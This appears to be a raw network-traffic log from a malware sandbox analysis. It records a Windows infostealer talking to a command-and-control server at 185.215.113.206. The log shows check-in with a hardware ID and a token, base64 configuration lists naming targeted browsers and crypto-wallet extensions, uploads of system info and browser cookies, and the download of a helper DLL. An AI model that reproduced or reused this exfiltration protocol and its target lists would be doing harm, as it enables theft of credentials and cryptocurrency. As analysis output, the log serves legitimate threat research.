Nov 23, 2024 09:16:24.336179018 CET	412	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAK Host: 185.215.113.206 Content-Length: 210 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 35 42 30 41 34 33 35 35 37 46 36 36 32 33 30 30 30 30 33 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 2d 2d 0d 0a Data Ascii: ------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="hwid"D5B0A43557F6623000030------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="build"mars------DGIJEGHDAECAKECAFCAK--
Nov 23, 2024 09:16:24.805305958 CET	407	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:24 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 7a 55 34 59 57 55 77 4e 6a 52 6d 59 6d 5a 6c 4d 7a 41 7a 4f 54 6b 78 59 54 46 68 4e 47 45 34 4e 54 6c 6a 4d 6a 42 6d 4e 47 45 31 4d 44 46 6c 4f 57 4e 69 4e 32 51 7a 4e 54 4e 6b 5a 44 42 6c 59 7a 59 77 4d 7a 41 32 4f 54 45 7a 5a 54 55 78 5a 44 51 34 4f 47 56 6c 5a 44 63 33 4f 44 55 78 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YzU4YWUwNjRmYmZlMzAzOTkxYTFhNGE4NTljMjBmNGE1MDFlOWNiN2QzNTNkZDBlYzYwMzA2OTEzZTUxZDQ4OGVlZDc3ODUxfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Nov 23, 2024 09:16:24.880985975 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GIEHJDHCBAEHJJJKKFID Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 47 49 45 48 4a 44 48 43 42 41 45 48 4a 4a 4a 4b 4b 46 49 44 2d 2d 0d 0a Data Ascii: ------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------GIEHJDHCBAEHJJJKKFIDContent-Disposition: form-data; name="message"browsers------GIEHJDHCBAEHJJJKKFID--
Nov 23, 2024 09:16:25.337533951 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2028 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 51 7a 70 63 55 48 4a 76 5a 33 4a 68 62 53 42 47 61 57 78 6c 63 31 78 48 62 32 39 6e 62 47 56 63 51 32 68 79 62 32 31 6c 58 45 46 77 63 47 78 70 59 32 46 30 61 57 39 75 58 48 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 49 45 4e 68 62 6d 46 79 65 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 53 42 54 65 46 4e 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 44 42 38 51 32 68 79 62 32 31 70 64 57 31 38 58 45 4e 6f 63 6d 39 74 61 58 56 74 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 77 77 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 4d 48 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8QzpcUHJvZ3JhbSBGaWxlc1xHb29nbGVcQ2hyb21lXEFwcGxpY2F0aW9uXHxHb29nbGUgQ2hyb21lIENhbmFyeXxcR29vZ2xlXENocm9tZSBTeFNcVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfDB8Q2hyb21pdW18XENocm9taXVtXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXwwfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8MHxUb3JjaHxcVG9yY2hcVXNlciBEYXRhfGNocm9tZXwwfDB8Vml2YWxkaXxcVml2YWxkaVxVc2VyIERhdGF8Y2hyb21lfHZpdmFsZGkuZXhlfCVMT0NBTEFQUERBVEElXFZpdmFsZGlcQXBwbGljYXRpb25cfENvbW9kbyBEcmFnb258XENvbW9kb1xEcmFnb25cVXNlciBEYXRhfGNocm9tZXwwfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGVwaWMuZXhlfCVMT0NBTEFQUERBVEElXEVwaWMgUHJpdmFjeSBCcm93c2VyXEFwcGxpY2F0aW9uXHxDb2NDb2N8XENvY0NvY1xCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8YnJvd3Nlci5leGV8QzpcUHJvZ3JhbSBGaWxlc1xDb2NDb2NcQnJvd3NlclxBcHBsaWNhdGlvblx8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDOlxQcm9ncmFtIEZpbGVzXEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxBcHBsaWNhdGlvblx8Q2Vu
Nov 23, 2024 09:16:25.337624073 CET	1020	IN	Data Raw: 64 43 42 43 63 6d 39 33 63 32 56 79 66 46 78 44 5a 57 35 30 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 4a 55 78 50 51 30 46 4d 51 56 42 51 52 45 Data Ascii: dCBCcm93c2VyfFxDZW50QnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8JUxPQ0FMQVBQREFUQSVcQ2VudEJyb3dzZXJcQXBwbGljYXRpb25cfDdTdGFyfFw3U3Rhclw3U3RhclxVc2VyIERhdGF8Y2hyb21lfDB8MHxDaGVkb3QgQnJvd3NlcnxcQ2hlZG90XFVzZXIgRGF0YXxjaHJvbWV8MHwwfE1pY3Jvc29
Nov 23, 2024 09:16:25.339143038 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGIJEGHDAECAKECAFCAK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 47 49 4a 45 47 48 44 41 45 43 41 4b 45 43 41 46 43 41 4b 2d 2d 0d 0a Data Ascii: ------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------DGIJEGHDAECAKECAFCAKContent-Disposition: form-data; name="message"plugins------DGIJEGHDAECAKECAFCAK--
Nov 23, 2024 09:16:25.796928883 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:25 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Nov 23, 2024 09:16:25.796961069 CET	124	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1k
Nov 23, 2024 09:16:25.797063112 CET	1236	IN	Data Raw: 63 47 35 73 63 47 64 77 63 48 77 78 66 44 42 38 4d 48 78 4c 5a 58 42 73 63 6e 78 6b 62 57 74 68 62 57 4e 72 62 6d 39 6e 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 Data Ascii: cG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9na2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2F
Nov 23, 2024 09:16:25.797113895 CET	1236	IN	Data Raw: 55 32 39 73 5a 6d 78 68 63 6d 55 67 56 32 46 73 62 47 56 30 66 47 4a 6f 61 47 68 73 59 6d 56 77 5a 47 74 69 59 58 42 68 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 Data Ascii: U29sZmxhcmUgV2FsbGV0fGJoaGhsYmVwZGtiYXBhZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWN
Nov 23, 2024 09:16:25.797132015 CET	1236	IN	Data Raw: 63 47 56 76 61 32 4a 70 61 32 68 6d 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 46 79 64 47 6c 68 62 69 42 42 63 48 52 76 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d Data Ascii: cGVva2Jpa2hmY2l8MXwwfDB8TWFydGlhbiBBcHRvcyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFR
Nov 23, 2024 09:16:25.797149897 CET	1236	IN	Data Raw: 61 32 78 69 66 44 46 38 4d 48 77 77 66 45 4e 76 62 57 31 76 62 6b 74 6c 65 58 78 6a 61 47 64 6d 5a 57 5a 71 63 47 4e 76 59 6d 5a 69 62 6e 42 74 61 57 39 72 5a 6d 70 71 59 57 64 73 59 57 68 74 62 6d 52 6c 5a 48 77 78 66 44 42 38 4d 48 78 61 62 32 Data Ascii: a2xifDF8MHwwfENvbW1vbktleXxjaGdmZWZqcGNvYmZibnBtaW9rZmpqYWdsYWhtbmRlZHwxfDB8MHxab2hvIFZhdWx0fGlna3Bjb2RoaWVvbXBlbG9uY2ZuYmVrY2NpbmhhcGRifDF8MHwwfE9wZXJhIFdhbGxldHxnb2poY2RnY3BicGZpZ2NhZWpwZmhmZWdla2RnaWJsa3wwfDB8MXxUcnVzdCBXYWxsZXR8ZWdqaWRqYnB
Nov 23, 2024 09:16:25.808180094 CET	1040	IN	Data Raw: 4d 58 77 77 66 44 42 38 51 32 39 74 63 47 46 7a 63 79 42 58 59 57 78 73 5a 58 51 67 5a 6d 39 79 49 46 4e 6c 61 58 78 68 62 6d 39 72 5a 32 31 77 61 47 35 6a 63 47 56 72 61 32 68 6a 62 47 31 70 62 6d 64 77 61 57 31 71 62 57 4e 76 62 32 6c 6d 59 6e Data Ascii: MXwwfDB8Q29tcGFzcyBXYWxsZXQgZm9yIFNlaXxhbm9rZ21waG5jcGVra2hjbG1pbmdwaW1qbWNvb2lmYnwxfDB8MHxIQVZBSCBXYWxsZXR8Y25uY21kaGphY3BrbWpta2NhZmNocHBibnBuaGRtb258MXwwfDB8RWxsaSAtIFN1aSBXYWxsZXR8b2NqZHBtb2FsbG1nbWpiYm9nZmlpYW9mcGhiamdjaGh8MXwwfDB8VmVub20
Nov 23, 2024 09:16:25.809771061 CET	470	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JKKFIIEBKEGIEBFIJKFI Host: 185.215.113.206 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 4b 46 49 49 45 42 4b 45 47 49 45 42 46 49 4a 4b 46 49 2d 2d 0d 0a Data Ascii: ------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------JKKFIIEBKEGIEBFIJKFIContent-Disposition: form-data; name="message"fplugins------JKKFIIEBKEGIEBFIJKFI--
Nov 23, 2024 09:16:26.266237020 CET	335	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:26 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 108 Keep-Alive: timeout=5, max=96 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 4d 48 78 33 5a 57 4a 6c 65 48 52 6c 62 6e 4e 70 62 32 35 41 62 57 56 30 59 57 31 68 63 32 73 75 61 57 39 38 55 6d 39 75 61 57 34 67 56 32 46 73 62 47 56 30 66 44 42 38 63 6d 39 75 61 57 34 74 64 32 46 73 62 47 56 30 51 47 46 34 61 57 56 70 62 6d 5a 70 62 6d 6c 30 65 53 35 6a 62 32 31 38 Data Ascii: TWV0YU1hc2t8MHx3ZWJleHRlbnNpb25AbWV0YW1hc2suaW98Um9uaW4gV2FsbGV0fDB8cm9uaW4td2FsbGV0QGF4aWVpbmZpbml0eS5jb218
Nov 23, 2024 09:16:26.294898033 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCAKKECAEGDGCBFIJEGH Host: 185.215.113.206 Content-Length: 5907 Connection: Keep-Alive Cache-Control: no-cache
Nov 23, 2024 09:16:26.294951916 CET	5907	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 47 43 41 4b 4b 45 43 41 45 47 44 47 43 42 46 49 4a 45 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 Data Ascii: ------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="token"c58ae064fbfe303991a1a4a859c20f4a501e9cb7d353dd0ec60306913e51d488eed77851------GCAKKECAEGDGCBFIJEGHContent-Disposition: form-data; name="file_name"c3lzdGVtX2luZ
Nov 23, 2024 09:16:27.275049925 CET	202	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:26 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=95 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 23, 2024 09:16:27.951255083 CET	94	OUT	GET /68b591d6548ec281/sqlite3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 23, 2024 09:16:28.405683041 CET	1236	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 08:16:28 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 11:30:30 GMT ETag: "10e436-5e7ec6832a180" Accept-Ranges: bytes Content-Length: 1106998 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELc!&@a0: 0@< .text%&`P`.data\|'@(,@`.rdatapDpFT@`@.bss(`.edata,@0@.idata@0.CRT,@0.tls @0.rsrc0@0.reloc<@>@0B/48@@B/19R"@B/31]'`(@B/45-.@B/57\B@0B/70
Nov 23, 2024 09:16:28.405740976 CET	124	IN	Data Raw: 00 00 23 03 00 00 00 d0 0e 00 00 04 00 00 00 4e 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 38 31 00 00 00 00 00 73 3a 00 00 00 e0 0e 00 00 3c 00 00 00 52 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 39 32 00 00 00 00 00 Data Ascii: #N@B/81s:<R@B/92P @B
Nov 23, 2024 09:16:28.408823013 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49772	185.215.113.206	80	7040	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 09:16:37.720057011 CET	629	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECGDHDHJEBGHJKFIECBG Host: 185.215.113.206 Content-Length: 427 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 63 35 38 61 65 30 36 34 66 62 66 65 33 30 33 39 39 31 61 31 61 34 61 38 35 39 63 32 30 66 34 61 35 30 31 65 39 63 62 37 64 33 35 33 64 64 30 65 63 36 30 33 30 36 39 31 33 65 35 31 64 34 38 38 65 65 64 37 37 38 35 31 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 45 43 47 44 48 44 48 4a 45 42 47 48 4a 4b 46 49 45 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 [TRUNCATED] Data Ascii: ------ECGDHDHJEBGHJKFIECBGContent-Disposition: form-data; 